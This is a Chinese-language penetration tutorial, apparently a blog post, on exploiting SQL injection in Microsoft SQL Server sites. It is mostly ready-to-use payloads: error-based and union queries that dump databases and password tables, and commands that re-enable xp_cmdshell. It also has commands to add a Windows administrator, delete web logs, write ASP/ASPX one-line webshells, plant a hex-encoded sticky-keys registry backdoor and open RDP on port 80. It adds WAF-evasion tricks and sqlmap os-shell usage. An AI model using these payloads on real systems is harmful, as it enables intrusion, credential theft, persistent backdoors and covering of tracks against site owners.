zoukankan      html  css  js  c++  java
  • 10.sqlserver注入

    1.sqlServer 常规操作
    2.sqlServer 注入原理
    3.sqlServer 注入工具使用
    4.sqlServer 不同权限利用

    PART 1: SqlServer常规操作


    Sqlserver 服务
    重启服务,使其生效。
    名令: services.msc
    TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
    1433端口是开启的。当我们关闭服务后,端口也将关闭。

    后缀
    cracer.mdf //mdf是数据库文件,
    日志文件后缀
    cracer_log.ldf//ldf是数据库匹配的日志文件
    所以要下载就得下载两个文件才可以

    mssql数据库权限

    sa权限:数据库操作,文件管理,命令执行,注册表读取等 system

    db权限:文件管理,数据库操作等 users-adminstrators

    public权限:数据库操作 guest-users

    sqlserver身份:

    sa 相当于系统system权限,如果拿到了sa权限,很容易被提权
    dbo 数据库用户对象身份,相当于普通用户,直接getshell
    pubic 相当于系统的来宾用户

    创建身份方法:
    安全性---新建登录名---设置密码---数据库test---服务器角色(关乎权限)sysadmin--用户映射test---确定

    调用数据库代码
    <%
    set conn =server.createobject("adodb.connection") conn.open
    "provider=sqloledb;source=local;uid=sa;pwd=123123;database=database-name"
    %>
    //链接的数据库,sa账号,123123密码,database-name库

    其中,provider后面的不用管,照写;source后面的可以是ip地址,这里我用的是本地的;sa是内置的

    用户,它的密码是你在安装的时候设置的;database后面是你要连接的数据库的名称,例:mydatabase

    (不需扩展名)。

    上面这些数据库链接配置信息会放在web.config,或者conn.asp/aspx,config.asp/aspx,conn.ini//

    找到账号密码就可以 提权链接数据库了


    PART 2: SqlServer注入利用
    漏洞挖掘
    漏洞出现的位置
    手工挖掘:
    有参数传递
    有数据库交互
    我们可以控制
    工具扫描
    Awvs、burp、appscan


    判断语句
    1.判断是否有注入
    and 1=1
    and 1=2
    /
    -0
    判断注入的方法是一样的
    2.初步判断是否是mssql
    and user>0
    3.判断数据库系统
    and (select count(*) from sysobjects)>0 mssql 返回正常就是sqlserver
    and (select count(*) from msysobjects)>0 access


    sqlserver可能存在的注入类型

    1.bool 盲注
    2.联合查询
    3.多语句
    4.内联查询
    5.时间盲注

    注入语句:
    下面属于盲注

    4.注入参数是字符
    'and [查询条件] and ''='
    5.搜索时没过滤参数的
    'and [查询条件] and '%25'='
    6.猜数表名
    and (select Count(*) from [表名])>0 //填写表名,如果真就返回正常,假就返回错误
    7.猜字段
    and (select Count(字段名) from 表名)>0
    8.猜字段中记录长度
    and (select top 1 len(字段名) from 表名)>0
    9.(1)猜字段的ascii值(access)
    and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
    (2)猜字段的ascii值(mssql) and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

    方法二:
    显错注入
    探测漏洞信息
    http://testasp.vulnweb.com/showforum.asp?id=0
    在加入'后 报错
    //数据库版本
    id=1 and 1=(select @@version) //原理前面数字类型报错,报错和连同数据库版本也给你爆出来了
    //当前使用的数据库
    id=1 and 1=(select db_name()) //原理前面数字类型报错,报错和连同当前数据库也给你爆出来了

    也可以id=@@version //id就是数字类型,而自己写的缺失字符型


    列数据库名称

    //获取第一个用户数据库
    and 1=(select top 1 name from master..sysdatabases where dbid>4)
    //sqlserver有4个默认自带数据库,用dbid来标识,目标在创建多一个数据库就大于4了,解释第一个dbid大于4的数据库名称
    and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')
    //第一个数据库是acublog,那么我们就爆出不等于acublog的其他数据库
    //大于4是系统自带,大于5就是下一个,也可以推理推理
    以此类推,可以获取全部用户数据库名
    and 1=(select name from master..sysdatabases for xml path)
    //所有数据库一xml格式显示出来


    列表名

    //获取表名
    //获取第一张表 threads
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

    //获取第二张表 users
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' )
    //以此类推,可以获取全部表


    列表的列名

    获取表 users 的列名
    //获取第一列列名 uname
    ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))

    //获取第二列列名 upass
    ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and name <> 'uname' )


    列数据

    //获取第一个用户名
    ?id=1 and 1=(select top 1 uname from users)

    //获取第一个用户名对应的密码
    ?id=1 and 1=(select top 1 upass from users )


    union 联合查询

    order by 语句有时候会报错是因为后面的没有注释掉:
    order by 10%23
    order by 10--+

    //sqlserver的联合查询特性不能用123爆点位,必须用null
    //都是null的情况下就使用空来代替点位如果报错就成功例如:union select 1,null,null
    //在union select '1',null,null 加上单引号如果返回正常就代表是字符列

    顺便查下版本和数据库名

    union select null,@@version,db_name(),null,null


    如果要查其他数据库的表名还可以这样:
    //指定库名去查表

    union select null,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),null,null


    union 列表名
    //指定的是当前数据库使用的表

    继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)

    第一个表名
    http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null

    第二个表名
    http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null


    union 列列名

    继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)

    第一个列名

    http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null

    第二个列名

    http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null

    第三个列名

    http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='password'))),null


    列数据

    http://192.168.0.240:8005/?id=1 union select null,username,password from password where username not in (select top 0 username from password)


    Sqlserver 不同权限利用

    用户所处权限分析:

    sa权限
    dbo权限
    public权限

    权限判断语句

    先去执行下面指令去判断

    and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
    如果返回正常就是sysadmin权限,检测出sysadmin的话就包含了下面权限

    and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限

    and 1=(select is_srvrolemember('public')) //判断是否为public权限

    and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名

    and 1=(select @@servername) //本地服务名 and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

    Sa权限的利用

    注入用户密码
    修改网站管理员密码
    直接getshell
    调用系统命令
    创建系统管理员
    操控文件
    操控日志文件
    getshell
    创建sqlserver管理
    系统服务操作
    注册表操作
    创建后门
    开启3389


    如果想调用系统命令,就得需要一个xpcmd_shell的组件
    xpcmd_shell是一个功能点的扩展,要看是否被sqlserver删除掉,被删除掉是无法执行命令的,所有要通过语句把这个组件安装和恢复上才能调用的


    SQLserver中的存储过程

    sp_addlogin

    //创建新的SQL server登录,该登录运行用户使用SQL server身份验证连接到SQL server实例

    sp_dropuser

    //从当前数据库中删除数据库用户


    xp_enumgroups

    //提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表


    xp_regwrite

    //未被公布的存储过程,,写入注册表

    xp_regread

    //读取注册表


    xp_regdeletevalue

    //删除注册表


    xp_dirtree

    //读取目录

    sp_password

    //更改密码


    xp_servicecontrol

    //停止或激活某服务


    修改网站管理员密码


    ;update admin set password=‘e8dc763194f29433’ where username=‘cracer’


    将管理员表admin中admin用户的密码设置为e8dc763194f29433

    修改之前把原来密码备份 通常在密码解不出的情况下选择使用该方法

    密码得该成md5

    直接getshell

    很多情况下一报错就把网站路径都爆出来了

    修复上传
    1. ;EXEC sp_configure 'show advanced options',1;
    RECONFIGURE;
    2. ;exec sp_configure 'Web Assistant Procedures', 1;
    RECONFIGURE


    http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27C:Inetpubwwwroot8005x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--
    //先去解码,这是用cmd写了个一句话出来,前提是得从报错里看到网站的路径
    如果不成功就用修复上传1去修复一下,然后再来执行

    然后在192.168.0.200:8005/x11.asp链接下,报错重新上传吧execute改成eval函数
    菜刀直接连接即可

    调用系统命令xp_cmdshell

    1.检测与恢复扩展存储
    判断xp_cmdshell扩展存储是否存在
    and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')

    判断xp_regread扩展存储过程是否存在
    and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

    恢复(重要)

    ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    ;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'


    Xp_cmdshell执行命令
    先去恢复cmd组件

    新建用户
    ;exec master..xp_cmdshell 'net user test test /add'
    ;exec master..xp_cmdshell 'net localgroup administrators test /add'添加管理员组

    添加后就在开启3389,直接导入,然后远程连接3389
    操控日志
    ;exec master.dbo.xp_cmdshell 'del c:winntsystem32logfilesw3svc5ex070606.log '

    Getshell

    echo ^<%Execute(request("a"))%^> > d:www123.asp
    ;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\WWW\233.aspx' ;--


    操作注册表
    删除注册表
    reg delete HKLMSOFTWAREMcAfee /f
    导入注册表
    Regedit /s d:webzhhp.reg
    导出注册表
    regedit /e d:webzhaoaaa.reg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWds dpwdTds cp"


    创建sqlserver管理
    添加和删除一个SA权限的用户test:(需要SA权限)
    exec master.dbo.sp_addlogin test,password
    exec master.dbo.sp_addsrvrolemember test,sysadmin


    系统服务操作
    停掉或激活某个服务。 (需要SA权限)
    exec master..xp_servicecontrol 'stop','schedule'
    exec master..xp_servicecontrol 'start','schedule'


    注册表操作

    启用存储过程

    exec sp_addextendedproc xp_regread,'xpstar.dll'
    ;exec
    master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00—


    exec sp_addextendedproc xp_regwrite,'xpstar.dll'

    写入注册表
    xp_regwrite 根键,子键, 值名, 值类型, 值

    写入shift后门 用的比较多 5次shift
    ;exec xp_regwrite 0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:\windows\system32\taskmgr.exe'--

    这个后门如果成功进入3389后就按5次shift就可以打开任务管理器,在新建,进入cmd,这时候就是systen32权限
    进入命令界面exolarer.exe桌面重新加载,就直接进入系统了


    开启3389

    ;exec master..xp_cmdshell 'sc config termservice start=auto' ;exec master..xp_cmdshell 'net start termservice' ;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'

    //允许外部连接

    ;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'

    //改端口到80

    开启3389 ;exec master..xp_cmdshell
    命令行开启的dos命令
    "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--

    dbowner权限利用

    1.判断数据库用户权限
    and 1=(select is_member('db_owner'));--
    2.搜索web目录
    ;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
    然后
    ;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
    and(select dir from temp where id=1)>0
    由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹


    getshell

    找到web目录后,就可以写入一句话木马了
    ;alter database ssdown5 set RECOVERY FULL
    ;create table test(str image)--
    ;backup log ssdown5 to disk='c: est' with init--
    ;insert into test(str)values ('<%excute(request("cmd"))%>')--
    ;backup log ssdown5 to disk='c:inetpubwwwrootx.asp'--
    ;alter database ssdown5 set RECOVERY simple


    SqlServer 工具使用


    用工具Getwebshell增强版
    输入注入点
    备份路径填写好
    一键备份来就可以了


    穿山甲、萝卜头、sqlmap等

    /**/可以用来代替空格
    例如union/**/select null,username,password/**/from/**/password--

    %0a 换行的的意思

    脏数据也可以过掉waf idfisdoifahfoiashfoiahsf--%0a添加进去

    sqlmap.py -u "xxxxxxxx" --current-user //查看权限
    sqlmap.py -u "xxxxxxxx" --is-dba 是否是管理员
    --current-db 列数据库
    -D mssaltest --tables//列数据库表名passwode
    -D mssaltest -T password --columns
    -D mssaltest -T password --dump -C username,password
    也可以-os -shell 在whomi查看权限
    创建用户名添加管理员
    echo ^<% eval(request('a'))%^> > c://inetpub/wwwroot/8005/xx.asp




    渗透路慢慢,那个人叫方寒
  • 相关阅读:
    SQL Server中使用convert进行日期转换
    杂记
    sqlserver表分区与调优与行列转换
    HttpModule的认识与深入理解及MVC运行机制
    再谈委托
    ASP.NET forms凭据设置和跳转的几种方法
    IOS学习网址
    Activator.CreateInstance 方法 (Type) 的用法
    update多表更新的2种方式
    SQL自定义函数split分隔字符串
  • 原文地址:https://www.cnblogs.com/fanghan/p/13899127.html
Copyright © 2011-2022 走看看